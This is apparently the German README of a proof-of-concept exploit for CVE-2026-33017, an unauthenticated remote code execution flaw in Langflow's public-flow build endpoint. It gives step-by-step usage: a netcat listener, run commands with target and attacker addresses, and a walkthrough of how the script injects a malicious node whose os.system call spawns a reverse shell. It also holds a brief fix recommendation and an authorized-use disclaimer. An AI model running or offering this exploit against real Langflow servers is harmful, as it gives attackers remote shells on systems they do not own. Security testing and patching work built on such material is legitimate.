
Python POC, Exploit for CVE-2026-33017
⚠️ HAFTUNGSAUSSCHLUSS: Dieses Repository dient nur autorisierten Sicherheitstests und Bildungszwecken. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie ausdrückliche Erlaubnis zum Testen haben. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
CVE-2026-33017 ist eine nicht authentifizierte Schwachstelle zur Remotecodeausführung in Langflow, einem visuellen Framework zum Erstellen von LangChain-Anwendungen.
Der Endpunkt POST /api/v1/build_public_tmp/{flow_id}/flow ermöglicht das Erstellen öffentlicher Flows ohne Authentifizierung. Wenn der optionale Parameter data angegeben wird, verwendet der Endpunkt vom Angreifer kontrollierte Flow-Daten (die beliebigen Python-Code in Knotendefinitionen enthalten) anstelle der gespeicherten Flow-Daten aus der Datenbank. Dieser Code wird ohne Sandboxing an exec() übergeben, was zu einer nicht authentifizierten Remotecodeausführung führt.
client_id-Cookie (ein beliebiger Zeichenfolgenwert)git clone https://github.com/<your-username>/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
Starten Sie auf Ihrem Angriffsrechner einen Netcat-Listener, um die Reverse Shell abzufangen:
nc -lvnp 4444
python3 CVE-2026-33017.py --url http://target:7860 --flow-id <UUID> --lhost <YOUR_IP> --lport 4444
# Terminal 1: Listener starten
nc -lvnp 4444
# Terminal 2: Exploit ausführen
python3 CVE-2026-33017.py \
--url http://192.168.1.100:7860 \
--flow-id 550e8400-e29b-41d4-a716-446655440000 \
--lhost 10.0.0.5 \
--lport 4444
craft_malicious_node() — Erstellt einen bösartigen Langflow-Knoten, der eine CustomComponent mit vom Angreifer kontrolliertem Python-Code enthält. Der Code enthält einen os.system()-Aufruf auf oberster Ebene, der während der Graphkonstruktion ausgeführt wird (bevor der Flow überhaupt „läuft“).
fire_payload() — Sendet den bösartigen Knoten als JSON an den nicht authentifizierten Endpunkt build_public_tmp mit einem zufälligen client_id-Cookie.
Codeausführung — Der Server analysiert die vom Angreifer bereitgestellten Flow-Daten, instanziiert die benutzerdefinierte Komponente und ruft exec() für den eingebetteten Code während prepare_global_scope() auf. Die Zuweisung auf oberster Ebene _r = __import__('os').system(...) löst sofort die Befehlsausführung aus.
Reverse Shell — Die Nutzlast erzeugt eine Python-Reverse-Shell, die eine Verbindung zu Ihrem Listener herstellt.
Der Endpunkt build_public_tmp ist für den nicht authentifizierten Zugriff konzipiert (für öffentliche Flows), akzeptiert jedoch fälschlicherweise vom Angreifer bereitgestellte Flow-Daten über den Parameter data. Wenn data bereitgestellt wird, umgeht er die gespeicherten Flow-Daten und übergibt vom Angreifer kontrollierte Knoten direkt an den Graph-Builder.
Entfernen Sie den Parameter data aus build_public_tmp. Öffentliche Flows sollten nur ihre gespeicherten Flow-Daten aus der Datenbank ausführen, niemals vom Angreifer bereitgestellte Daten.
Dieses Projekt wird nur für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.
| Argument | Erforderlich | Beschreibung |
|---|
--url | Ja | Ziel-URL (z. B. http://localhost:7860) |
--flow-id | Ja | UUID des öffentlichen Flows |
--lhost | Ja | Ihre Listener-IP-Adresse |
--lport | Ja | Ihr Listener-Port |
--timeout | Nein | Timeout für Anfragen in Sekunden (Standard: 15) |